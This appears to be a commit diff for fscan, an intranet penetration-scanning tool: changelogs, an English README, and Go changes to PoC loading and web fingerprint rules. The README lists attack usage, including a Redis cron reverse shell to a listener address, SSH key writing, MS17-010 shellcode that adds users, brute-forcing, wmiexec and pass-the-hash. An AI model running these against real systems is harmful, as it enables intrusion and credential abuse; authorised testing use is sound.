[+] 2021/5/6 更新mod库、poc、指纹。修改线程处理机制、netbios探测、域控识别模块、webtitle编码模块等。
[+] 2021/4/22 修改webtitle模块,加入gbk解码。
[+] 2021/4/21 加入netbios探测、域控识别。
[+] 2021/3/4 支持-u url或者-uf url.txt,对url进行批量扫描。
[+] 2021/2/25 修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml。
[+] 2021/2/8 增加指纹识别功能,可识别常见CMS、框架,如致远OA、通达OA等。
[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。
修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度
[+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试
[+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户)
[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。
修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度
[+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试
[+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户)
[+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。
[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。
[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。
[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段
[+] 2020/11/15 支持ip以文件导入,-hs ip.txt,并对去重做了处理
[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。
[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。
[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段
[+] 2020/11/15 支持ip以文件导入,-hf ip.txt,并对去重做了处理
[url-docen]: README_EN.md
+260
View File
@@ -0,0 +1,260 @@
# fscan
[中文][url-doczh]
# 1. Introduction
An intranet comprehensive scanning tool, which is convenient for automatic and omnidirectional missed scanning.
It supports host survival detection, port scanning, explosion of common services, ms17010, Redis batch public key writing, planned task rebound shell, reading win network card information, web fingerprint identification, web vulnerability scanning, netbios detection, domain control identification and other functions.
# 2. Functions
1.Information collection:
* Survival detection(icmp)
* Port scanning
2.Blasting:
* Various service blasting(ssh、smb、rdp, etc.)
* Database password blasting(mysql、mssql、redis、psql、oracle, etc.)
3.System information, vulnerability scanning:
* Netbios detection, domain control identification
* Collect NIC information
* High Risk Vulnerability Scanning(ms17010, etc.)
4.Web detection:
* Webtitle detection
* Web fingerprinting (cms, oa framework, etc.)
* Web vulnerability scanning (weblogic, st2, etc., also supports xray poc)
5.Exploit:
* Write redis public key and scheduled tasks
* Excute ssh command
* Use the ms17017 vulnerability (implanted shellcode), such as adding users, etc.
6.Others:
* Save ouput result
# 3. Instructions
Getting Started
```
fscan.exe -h 192.168.1.1/24
fscan.exe -h 192.168.1.1/16
```
Advanced
```
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(Skip survival detection, do not save output result, skip web poc scanning)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (Redis write public key)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (Redis scheduled task rebound shell)
fscan.exe -h 192.168.1.1/24 -c whoami (Execute ssh command)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (Specify ssh module and port)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (Load the specified file and password to blast
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (Specify the path to save the scan results, which is saved in the current path by default)
fscan.exe -h 192.168.1.1/8 192.x.x.1 and 192.x.x.254 of segment A, convenient for quickly viewing network segment information )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (Smb password crash)
fscan.exe -h 192.168.1.1/24 -m ms17010 (Specified ms17010 module)
fscan.exe -hf ip.txt (Import target from file)
fscan.exe -u http://baidu.com -proxy 8080 (Scan a url and set http proxy http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (Do not blast, do not scan Web poc, to reduce traffic)
fscan.exe -h 192.168.1.1/24 -pa 3389 (Join 3389->rdp scan)
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (Proxy only supports simple tcp functions, and libraries with some functions do not support proxy settings)
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (Built-in functions such as adding users are only applicable to alternative tools, and other special tools for using ms17010 are recommended)
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (Hash collision)
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx(Wmiexec module no echo command execution)
```
Compile command
```
go build -ldflags="-s -w " -trimpath main.go
upx -9 fscan.exe (Optional, compressed)
```
Installation for arch users
`yay -S fscan-git or paru -S fscan-git`
Full parameters
```
Usage of ./fscan:
-br int
Brute threads (default 1)
-c string
exec command (ssh|wmiexec)
-cookie string
set poc cookie,-cookie rememberMe=login
-debug int
every time to LogErr (default 60)
-dns
using dnslog poc
-domain string
smb domain
-full
poc full scan,as: shiro 100 key
-h string
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-hash string
hash
-hf string
host file, -hf ip.txt
-hn string
the hosts no scan,as: -hn 192.168.1.1/24
-m string
Select scan type ,as: -m ssh (default "all")
-no
not to save output log
-nobr
not to Brute password
-nopoc
not to scan web vul
-np
not to ping
-num int
poc rate (default 20)
-o string
Outputfile (default "result.txt")
-p string
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
-pa string
add port base DefaultPorts,-pa 3389
-path string
fcgi、smb romote file path
-ping
using ping replace icmp
-pn string
the ports no scan,as: -pn 445
-pocname string
use the pocs these contain pocname, -pocname weblogic
-pocpath string
poc file path
-portf string
Port File
-proxy string
set poc proxy, -proxy http://127.0.0.1:8080
-pwd string
password
-pwda string
add a password base DefaultPasses,-pwda password
-pwdf string
password file
-rf string
redis file to write sshkey file (as: -rf id_rsa.pub)
-rs string
redis shell to write cron file (as: -rs 192.168.1.1:6666)
-sc string
ms17 shellcode,as -sc add
-silent
silent scan
-socks5 string
set socks5 proxy, will be used in tcp connection, timeout setting will not work
-sshkey string
sshkey file (id_rsa)
-t int
Thread nums (default 600)
-time int
Set timeout (default 3)
-top int
show live len top (default 10)
-u string
url
-uf string
urlfile
-user string
username
-usera string
add a user base DefaultUsers,-usera user
-userf string
username file
-wmi
start wmi
-wt int
Set web timeout (default 5)
```
# 4. Demo
`fscan.exe -h 192.168.x.x (Open all functions, ms17010, read network card information)`
![](image/1.png)
![](image/4.png)
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (Redis write public key)`
![](image/2.png)
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh command)`
![](image/3.png)
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 (Support for xray poc)`
![](image/2020-12-12-13-34-44.png)
`fscan.exe -h 192.168.x.x -p 139 (Netbios detection, domain control identification, the [+]DC in the figure below represents domain control)`
![](image/netbios.png)
`go run .\main.go -h 192.168.x.x/24 -m netbios (Show complete netbios information)`
![](image/netbios1.png)
`go run .\main.go -h 192.0.0.0/8 -m icmp(Detect the gateway and several random IPs of each segment C, and count the number of surviving top 10 segments B and C)`
![img.png](image/live.png)
# 5. Disclaimer
This tool is only for **legally authorized** enterprise security construction activities. If you need to test the usability of this tool, please build a target machine environment by yourself.
In order to avoid being used maliciously, all pocs included in this project are theoretical judgments of vulnerabilities, there is no process of exploiting vulnerabilities, and no real attacks and exploits will be launched on the target.
When using this tool for detection, you should ensure that the behavior complies with local laws and regulations, and you have obtained sufficient authorization. **Do not scan unauthorized targets**.
If you have any illegal acts during the use of this tool, you shall bear the corresponding consequences by yourself, and we will not bear any legal and joint liability.
Before installing and using this tool, please **be sure to carefully read and fully understand the content of each clause**. Restrictions, exemption clauses or other clauses involving your major rights and interests may remind you to pay attention in the form of bold, underline, etc. .
Unless you have fully read, fully understood and accepted all the terms of this agreement, please do not install and use this tool. Your use behavior or your acceptance of this agreement in any other express or implied way shall be deemed to have read and agreed to be bound by this agreement.
# 6. 404StarLink 2.0 - Galaxy
![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
Fscan is the member of 404Team [404StarLink2.0](https://github.com/knownsec/404StarLink2.0-Galaxy)If you have any questions about fscan or want to find a partner to communicate with, you can adding groups.
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
# 7. Star Chart
[![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan)
# 8. Donation
If you think this project is helpful to you, invite the author to have a drink🍹 [click](image/sponsor.png)
# 9. Reference links
https://github.com/Adminisme/ServerScan
https://github.com/netxfly/x-crack
https://github.com/hack2fun/Gscan
https://github.com/k8gege/LadonGo
https://github.com/jjf012/gopoc
# 10. Dynamics
[+] 2022/11/19 Add hash collision, wmiexec echo free command execution function
[+] 2022/7/14 Add -hf parameter, support host: port and host/xx: port formats, rule.Search regular matching range is changed from body to header+body, and -nobr no longer includes -nopoc. Optimize webtitle output format.
[+] 2022/7/6 Add manual gc recycling to try to save useless memory, -Urls support comma separation. Fix a poc module bug- Nobr no longer contains nopoc.
[+] 2022/7/2 Strengthen the poc fuzzy module to support running backup files, directories, shiro keys (10 keys by default, 100 keys with the -full parameter), etc.Add ms17017 (use parameter: -sc add), which can be used in ms17010 exp Go defines the shell code, and built-in functions such as adding users.
Add poc and fingerprint. Socks5 proxy is supported. Because the body fingerprint is more complete, the icon icon is no longer running by default.
[+] 2022/4/20 The poc module adds the specified directory or file -path poc path, the port can specify the file -portf port.txt, the rdp module adds the multi-threaded explosion demo, and -br xx specifies the thread.
[+] 2022/2/25 Add - m webonly to skip port scanning and directly access http. Thanks @ AgeloVito
[+] 2022/1/11 Add oracle password explosion.
[+] 2022/1/7 When scanning IP/8, each C segment gateway and several random IPs will be scanned by default. Recommended parameter: -h ip/8 -m icmp. The LiveTop function is added. When detecting the survival, the number of B and C segment IPs of top10 will be output by default.
[+] 2021/12/7 Add rdp scanning and port parameter -pa 3389 (the port will be added based on the original port list)
[+] 2021/12/1 Optimize the xray parsing module, support groups, add poc, add https judgment (tls handshake package), optimize the ip parsing module (support all ip/xx), add the blasting shutdown parameter nobr, add the skip certain ip scanning function -hn 192.168.1.1, add the skip certain port scanning function - pn 21445, and add the scan Docker unauthorized vulnerability.
[+] 2021/6/18 Improve the poc mechanism. If the fingerprint is identified, the poc will be sent according to the fingerprint information. If the fingerprint is not identified, all poc will be printed once.
[+] 2021/5/29 Adding the fcgi protocol to execute the scan of unauthorized commands, optimizing the poc module, optimizing the icmp module, and adding the ssh module to the private key connection.
[+] 2021/5/15 Added win03 version (deleted xray_poc module), added silent scanning mode, added web fingerprint, fixed netbios module array overrun, added a CheckErrs dictionary, and added gzip decoding to webtitle.
[+] 2021/5/6 Update mod library, poc and fingerprint. Modify thread processing mechanism, netbios detection, domain control identification module, webtitle encoding module, etc.
[+] 2021/4/22 Modify webtitle module and add gbk decoding.
[+] 2021/4/21 Add netbios detection and domain control identification functions.
[+] 2021/3/4 Support -u url and -uf parameters, support batch scan URLs.
[+] 2021/2/25 Modify the yaml parsing module to support password explosion, such as tomcat weak password. The new sets parameter in yaml is an array, which is used to store passwords. See tomcat-manager-week.yaml for details.
[+] 2021/2/8 Add fingerprint identification function to identify common CMS and frameworks, such as Zhiyuan OA and Tongda OA.
[+] 2021/2/5 Modify the icmp packet mode, which is more suitable for large-scale detection.
Modify the error prompt. If there is no new progress in - debug within 10 seconds, the current progress will be printed every 10 seconds.
[+] 2020/12/12 The yaml parsing engine has been added to support the poc of xray. By default, all the poc are used (the poc of xray has been filtered). You can use - pocname weblogic, and only one or some poc is used. Need go version 1.16 or above, and can only compile the latest version of go for testing.
[+] 2020/12/6 Optimize the icmp module and add the -domain parameter (for the smb blasting module, applicable to domain users)
[+] 2020/12/03 Optimize the ip segment processing module, icmp, port scanning module. 192.168.1.1-192.168.255.255 is supported.
[+] 2020/11/17 The -ping parameter is added to replace icmp packets with ping in the survival detection module.
[+] 2020/11/17 WebScan module and shiro simple recognition are added. Skip certificate authentication during https access. Separate the timeout of the service module and the web module, and add the -wt parameter (WebTimeout).
[+] 2020/11/16 Optimize the icmp module and add the -it parameter (IcmpThreads). The default value is 11000, which is suitable for scanning section B.
[+] 2020/11/15 Support importt ip from file, -hf ip.txt, and process de duplication ips.
[url-doczh]: README.md
+18 -18
View File
@@ -6,7 +6,6 @@ import (
"github.com/shadow1ng/fscan/WebScan/info"
"github.com/shadow1ng/fscan/common"
"regexp"
"strings"
)
type CheckDatas struct {
@@ -14,11 +13,11 @@ type CheckDatas struct {
Headers string
}
func InfoCheck(Url string, CheckData []CheckDatas) {
func InfoCheck(Url string, CheckData *[]CheckDatas) []string {
var matched bool
var infoname []string
for _, data := range CheckData {
for _, data := range *CheckData {
for _, rule := range info.RuleDatas {
if rule.Type == "code" {
matched, _ = regexp.MatchString(rule.Rule, string(data.Body))
@@ -29,19 +28,21 @@ func InfoCheck(Url string, CheckData []CheckDatas) {
infoname = append(infoname, rule.Name)
}
}
flag, name := CalcMd5(data.Body)
//flag, name := CalcMd5(data.Body)
if flag == true {
infoname = append(infoname, name)
}
//if flag == true {
// infoname = append(infoname, name)
//}
}
infostr := RemoveMore(infoname)
infoname = removeDuplicateElement(infoname)
if len(infoname) > 0 {
result := fmt.Sprintf("[+] InfoScan:%-25v %s ", Url, infostr)
result := fmt.Sprintf("[+] InfoScan %-25v %s ", Url, infoname)
common.LogSuccess(result)
return infoname
}
return []string{""}
}
func CalcMd5(Body []byte) (bool, string) {
@@ -55,15 +56,14 @@ func CalcMd5(Body []byte) (bool, string) {
return false, ""
}
func RemoveMore(a []string) (infostr string) {
var ret []string
for i := 0; i < len(a); i++ {
if (i > 0 && a[i-1] == a[i]) || len(a[i]) == 0 {
continue
func removeDuplicateElement(languages []string) []string {
result := make([]string, 0, len(languages))
temp := map[string]struct{}{}
for _, item := range languages {
if _, ok := temp[item]; !ok {
temp[item] = struct{}{}
result = append(result, item)
}
ret = append(ret, a[i])
}
infostr = strings.ReplaceAll(fmt.Sprintf("%s ", ret), "[", "")
infostr = strings.ReplaceAll(infostr, "]", "")
return
return result
}
+75 -20
View File
@@ -5,42 +5,97 @@ import (
"fmt"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"log"
"net/http"
"time"
"os"
"path/filepath"
"strings"
"sync"
)
//go:embed pocs
var Pocs embed.FS
var once sync.Once
var AllPocs []*lib.Poc
func WebScan(info *common.HostInfo) {
once.Do(initpoc)
var pocinfo = common.Pocinfo
pocinfo.Target = info.Url
err := Execute(pocinfo)
if err != nil {
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
common.LogError(errlog)
buf := strings.Split(info.Url, "/")
pocinfo.Target = strings.Join(buf[:3], "/")
if pocinfo.PocName != "" {
Execute(pocinfo)
} else {
for _, infostr := range info.Infostr {
pocinfo.PocName = lib.CheckInfoPoc(infostr)
Execute(pocinfo)
}
}
}
func Execute(PocInfo common.PocInfo) error {
func Execute(PocInfo common.PocInfo) {
req, err := http.NewRequest("GET", PocInfo.Target, nil)
if err != nil {
return err
errlog := fmt.Sprintf("[-] webpocinit %v %v", PocInfo.Target, err)
common.LogError(errlog)
return
}
req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
if PocInfo.Cookie != "" {
req.Header.Set("Cookie", PocInfo.Cookie)
req.Header.Set("User-agent", common.UserAgent)
req.Header.Set("Accept", common.Accept)
req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
if common.Cookie != "" {
req.Header.Set("Cookie", common.Cookie)
}
lib.CheckMultiPoc(req, Pocs, PocInfo.Num, PocInfo.PocName)
return nil
pocs := filterPoc(PocInfo.PocName)
lib.CheckMultiPoc(req, pocs, common.PocNum)
}
func Inithttp(PocInfo common.PocInfo) {
//PocInfo.Proxy = "http://127.0.0.1:8080"
err := lib.InitHttpClient(PocInfo.Num, PocInfo.Proxy, time.Duration(PocInfo.Timeout)*time.Second)
if err != nil {
log.Fatal(err)
func initpoc() {
if common.PocPath == "" {
entries, err := Pocs.ReadDir("pocs")
if err != nil {
fmt.Printf("[-] init poc error: %v", err)
return
}
for _, one := range entries {
path := one.Name()
if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") {
if poc, _ := lib.LoadPoc(path, Pocs); poc != nil {
AllPocs = append(AllPocs, poc)
}
}
}
} else {
fmt.Println("[+] load poc from " + common.PocPath)
err := filepath.Walk(common.PocPath,
func(path string, info os.FileInfo, err error) error {
if err != nil || info == nil {
return err
}
if !info.IsDir() {
if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") {
poc, _ := lib.LoadPocbyPath(path)
if poc != nil {
AllPocs = append(AllPocs, poc)
}
}
}
return nil
})
if err != nil {
fmt.Printf("[-] init poc error: %v", err)
}
}
}
func filterPoc(pocname string) (pocs []*lib.Poc) {
if pocname == "" {
return AllPocs
}
for _, poc := range AllPocs {
if strings.Contains(poc.Name, pocname) {
pocs = append(pocs, poc)
}
}
return
}
+180 -18
View File
@@ -11,27 +11,68 @@ type Md5Data struct {
Md5Str string
}
type PocData struct {
Name string
Alias string
}
var RuleDatas = []RuleData{
{"宝塔", "code", "(app.bt.cn/static/app.png|安全入口校验失败|<title>入口校验失败</title>|href=\"http://www.bt.cn/bbs)"},
{"深信服防火墙类产品", "code", "(SANGFOR FW)"},
{"360网站卫士", "code", "(webscan.360.cn/status/pai/hash|wzws-waf-cgi|zhuji.360.cn/guard/firewall/stopattack.html)"},
{"360网站卫士", "headers", "(360wzws|CWAP-waf|zhuji.360.cn|X-Safe-Firewall)"},
{"绿盟防火墙", "code", "(NSFOCUS NF)"},
{"绿盟防火墙", "headers", "(NSFocus)"},
{"Topsec-Waf", "index", `(<META NAME="Copyright" CONTENT="Topsec Network Security Technology Co.,Ltd"/>","<META NAME="DESCRIPTION" CONTENT="Topsec web UI"/>)`},
{"Anquanbao", "headers", "(Anquanbao)"},
{"BaiduYunjiasu", "headers", "(yunjiasu)"},
{"BigIP", "headers", "(BigIP|BIGipServer)"},
{"BinarySEC", "headers", "(binarysec)"},
{"BlockDoS", "headers", "(BlockDos.net)"},
{"CloudFlare", "headers", "(cloudflare)"},
{"Cloudfront", "headers", "(cloudfront)"},
{"Comodo", "headers", "(Protected by COMODO)"},
{"IBM-DataPower", "headers", "(X-Backside-Transport)"},
{"DenyAll", "headers", "(sessioncookie=)"},
{"dotDefender", "headers", "(dotDefender)"},
{"Incapsula", "headers", "(X-CDN|Incapsula)"},
{"Jiasule", "headers", "(jsluid=)"},
{"KONA", "headers", "(AkamaiGHost)"},
{"ModSecurity", "headers", "(Mod_Security|NOYB)"},
{"NetContinuum", "headers", "(Cneonction|nnCoection|citrix_ns_id)"},
{"Newdefend", "headers", "(newdefend)"},
{"Safe3", "headers", "(Safe3WAF|Safe3 Web Firewall)"},
{"Safedog", "code", "(404.safedog.cn/images/safedogsite/broswer_logo.jpg)"},
{"Safedog", "headers", "(Safedog|WAF/2.0)"},
{"SonicWALL", "headers", "(SonicWALL)"},
{"Stingray", "headers", "(X-Mapping-)"},
{"Sucuri", "headers", "(Sucuri/Cloudproxy)"},
{"Usp-Sec", "headers", "(Secure Entry Server)"},
{"Varnish", "headers", "(varnish)"},
{"Wallarm", "headers", "(wallarm)"},
{"阿里云", "code", "(errors.aliyun.com)"},
{"WebKnight", "headers", "(WebKnight)"},
{"Yundun", "headers", "(YUNDUN)"},
{"Yunsuo", "headers", "(yunsuo)"},
{"Coding pages", "header", "(Coding Pages)"},
{"启明防火墙", "code", "(/cgi-bin/webui?op=get_product_model)"},
{"Shiro", "headers", "(=deleteMe|rememberMe=)"},
{"Portainer(Docker管理)", "code", "(portainer.updatePassword|portainer.init.admin)"},
{"Gogs简易Git服务", "cookie", "(i_like_gogs)"},
{"Gitea简易Git服务", "cookie", "(i_like_gitea)"},
{"宝塔-BT.cn", "code", "(app.bt.cn/static/app.png|安全入口校验失败)"},
{"Nexus", "code", "(Nexus Repository Manager)"},
{"Nexus", "cookie", "(NX-ANTI-CSRF-TOKEN)"},
{"Harbor", "code", "(<title>Harbor</title>)"},
{"Harbor", "cookie", "(harbor-lang)"},
{"禅道", "code", "(/theme/default/images/main/zt-logo.png)"},
{"禅道", "code", "(/theme/default/images/main/zt-logo.png|/zentao/theme/zui/css/min.css)"},
{"禅道", "cookie", "(zentaosid)"},
{"协众OA", "code", "(Powered by 协众OA)"},
{"协众OA", "cookie", "(CNOAOASESSID)"},
{"xxl-job", "code", "(分布式任务调度平台XXL-JOB)"},
{"atmail-WebMail", "cookie", "(atmail6)"},
{"atmail-WebMail", "code", "(Powered by Atmail)"},
{"atmail-WebMail", "code", "(/index.php/mail/auth/processlogin)"},
{"atmail-WebMail", "code", "(/index.php/mail/auth/processlogin|Powered by Atmail)"},
{"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|<i>Hypertext Transfer Protocol -- HTTP/1.1</i>)"},
{"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"},
{"致远OA", "code", "(/seeyon/common/)"},
{"致远OA", "code", "(/seeyon/common/|/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"},
{"discuz", "code", "(content=\"Discuz! X\")"},
{"Typecho", "code", "(Typecho</a>)"},
{"金蝶EAS", "code", "(easSessionId)"},
@@ -47,11 +88,10 @@ var RuleDatas = []RuleData{
{"CISCO_EPC3925", "code", "(Docsis_system)"},
{"CISCO ASR", "code", "(CISCO ASR)"},
{"H3C ER3200", "code", "(ER3200系统管理)"},
{"万户ezOFFICE", "headers", "(LocLan)"},
{"万户网络", "code", "(css/css_whir.css)"},
{"万户oa", "code", "(/defaultroot/templates/template_system/common/css/|/defaultroot/scripts/|css/css_whir.css)"},
{"Spark_Master", "code", "(Spark Master at)"},
{"华为_HUAWEI_SRG2220", "code", "(HUAWEI SRG2220)"},
{"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.common.js)"},
{"蓝凌OA", "code", "(/scripts/jquery.landray.common.js)"},
{"深信服ssl-vpn", "code", "(login_psw.csp)"},
{"华为 NetOpen", "code", "(/netopen/theme/css/inFrame.css)"},
{"Citrix-Web-PN-Server", "code", "(Citrix Web PN Server)"},
@@ -69,7 +109,7 @@ var RuleDatas = []RuleData{
{"Citrix-XenServer", "code", "(Citrix Systems, Inc. XenServer)"},
{"H3C ER2100V2", "code", "(ER2100V2系统管理)"},
{"zabbix", "cookie", "(zbx_sessionid)"},
{"zabbix", "code", "(images/general/zabbix.ico|Zabbix SIA)"},
{"zabbix", "code", "(images/general/zabbix.ico|Zabbix SIA|zabbix-server: Zabbix)"},
{"CISCO_VPN", "headers", "(webvpn)"},
{"360站长平台", "code", "(360-site-verification)"},
{"H3C ER3108GW", "code", "(ER3108GW系统管理)"},
@@ -87,10 +127,9 @@ var RuleDatas = []RuleData{
{"H3C ER6300G2", "code", "(ER6300G2系统管理)"},
{"H3C ER3260", "code", "(ER3260系统管理)"},
{"华为_HUAWEI_SRG3250", "code", "(HUAWEI SRG3250)"},
{"exchange", "code", "(/owa/auth.owa)"},
{"exchange", "code", "(/owa/auth.owa|Exchange Admin Center)"},
{"Spark_Worker", "code", "(Spark Worker at)"},
{"H3C ER3108G", "code", "(ER3108G系统管理)"},
{"深信服防火墙类产品", "code", "(SANGFOR FW)"},
{"Citrix-ConfProxy", "code", "(confproxy)"},
{"360网站安全检测", "code", "(webscan.360.cn/status/pai/hash)"},
{"H3C ER5200G2", "code", "(ER5200G2系统管理)"},
@@ -101,12 +140,11 @@ var RuleDatas = []RuleData{
{"TP-Link 3600 DD-WRT", "code", "(TP-Link 3600 DD-WRT)"},
{"NETGEAR WNDR3600", "code", "(NETGEAR WNDR3600)"},
{"H3C ER2100", "code", "(ER2100系统管理)"},
{"绿盟下一代防火墙", "code", "(NSFOCUS NF)"},
{"jira", "code", "(jira.webresources)"},
{"金和协同管理平台", "code", "(金和协同管理平台)"},
{"Citrix-NetScaler", "code", "(NS-CACHE)"},
{"linksys-vpn", "headers", "(linksys-vpn)"},
{"通达OA", "code", "(/static/images/tongda.ico)"},
{"通达OA", "code", "(/static/images/tongda.ico|http://www.tongda2000.com|通达OA移动版|Office Anywhere)"},
{"华为(HUAWEISecoway设备", "code", "(Secoway)"},
{"华为_HUAWEI_SRG1220", "code", "(HUAWEI SRG1220)"},
{"H3C ER2100n", "code", "(ER2100n系统管理)"},
@@ -115,7 +153,8 @@ var RuleDatas = []RuleData{
{"Jboss", "code", "(Welcome to JBoss|jboss.css)"},
{"Jboss", "headers", "(JBoss)"},
{"泛微E-mobile", "code", "(Weaver E-mobile|weaver,e-mobile)"},
{"齐治堡垒机", "code", "(logo-icon-ico72.png)"},
{"泛微E-mobile", "headers", "(EMobileServer)"},
{"齐治堡垒机", "code", "(logo-icon-ico72.png|resources/themes/images/logo-login.png)"},
{"ThinkPHP", "headers", "(ThinkPHP)"},
{"ThinkPHP", "code", "(/Public/static/js/)"},
{"weaver-ebridge", "code", "(e-Bridge,http://wx.weaver)"},
@@ -128,13 +167,107 @@ var RuleDatas = []RuleData{
{"红帆OA", "code", "(iOffice)"},
{"VMware vSphere", "code", "(VMware vSphere)"},
{"打印机", "code", "(打印机|media/canon.gif)"},
{"finereport", "code", "(isSupportForgetPwd|FineReport,Web Reporting Tool)"},
{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/profile.css|sys/ui/extend/theme/default/style/icon.css)"},
{"GitLab", "code", "(href=\"https://about.gitlab.com/)"},
{"Jquery-1.7.2", "code", "(/webui/js/jquerylib/jquery-1.7.2.min.js)"},
{"Hadoop Applications", "code", "(/cluster/app/application)"},
{"海昌OA", "code", "(/loginmain4/js/jquery.min.js)"},
{"帆软报表", "code", "(WebReport/login.html|ReportServer)"},
{"帆软报表", "headers", "(数据决策系统)"},
{"华夏ERP", "headers", "(华夏ERP)"},
{"金和OA", "cookie", "(ASPSESSIONIDSSCDTDBS)"},
{"久其财务报表", "code", "(netrep/login.jsp|/netrep/intf)"},
{"若依管理系统", "code", "(ruoyi/login.js|ruoyi/js/ry-ui.js)"},
{"启莱OA", "code", "(js/jQselect.js|js/jquery-1.4.2.min.js)"},
{"智慧校园管理系统", "code", "(DC_Login/QYSignUp)"},
{"JQuery-1.7.2", "code", "(webui/js/jquerylib/jquery-1.7.2.min.js)"},
{"浪潮 ClusterEngineV4.0", "code", "(0;url=module/login/login.html)"},
{"会捷通云视讯平台", "code", "(him/api/rest/v1.0/node/role|him.app)"},
{"源码泄露账号密码 F12查看", "code", "(get_dkey_passwd)"},
{"Smartbi Insight", "code", "(smartbi.gcf.gcfutil)"},
{"汉王人脸考勤管理系统", "code", "(汉王人脸考勤管理系统|/Content/image/hanvan.png|/Content/image/hvicon.ico)"},
{"亿赛通-电子文档安全管理系统", "code", "(电子文档安全管理系统|/CDGServer3/index.jsp|/CDGServer3/SysConfig.jsp|/CDGServer3/help/getEditionInfo.jsp)"},
{"天融信 TopApp-LB 负载均衡系统", "code", "(TopApp-LB 负载均衡系统)"},
{"中新金盾信息安全管理系统", "code", "(中新金盾信息安全管理系统|中新网络信息安全股份有限公司)"},
{"好视通", "code", "(深圳银澎云计算有限公司|itunes.apple.com/us/app/id549407870|hao-shi-tong-yun-hui-yi-yuan)"},
{"蓝海卓越计费管理系统", "code", "(蓝海卓越计费管理系统|星锐蓝海网络科技有限公司)"},
{"和信创天云桌面系统", "code", "(和信下一代云桌面VENGD|/vesystem/index.php)"},
{"金山", "code", "(北京猎鹰安全科技有限公司|金山终端安全系统V9.0Web控制台|北京金山安全管理系统技术有限公司|金山V8)"},
{"WIFISKY-7层流控路由器", "code", "(深圳市领空技术有限公司|WIFISKY 7层流控路由器)"},
{"MetInfo-米拓建站", "code", "(MetInfo|/skin/style/metinfo.css|/skin/style/metinfo-v2.css)"},
{"IBM-Lotus-Domino", "code", "(/mailjump.nsf|/domcfg.nsf|/names.nsf|/homepage.nsf)"},
{"APACHE-kylin", "code", "(url=kylin)"},
{"C-Lodop打印服务系统", "code", "(/CLodopfuncs.js|www.c-lodop.com)"},
{"HFS", "code", "(href=\"http://www.rejetto.com/hfs/)"},
{"Jellyfin", "code", "(content=\"http://jellyfin.org\")"},
{"FIT2CLOUD-JumpServer-堡垒机", "code", "(<title>JumpServer</title>)"},
{"Alibaba Nacos", "code", "(<title>Nacos</title>)"},
{"Nagios", "headers", "(nagios admin)"},
{"Pulse Connect Secure", "code", "(/dana-na/imgs/space.gif)"},
{"h5ai", "code", "(powered by h5ai)"},
{"jeesite", "cookie", "(jeesite.session.id)"},
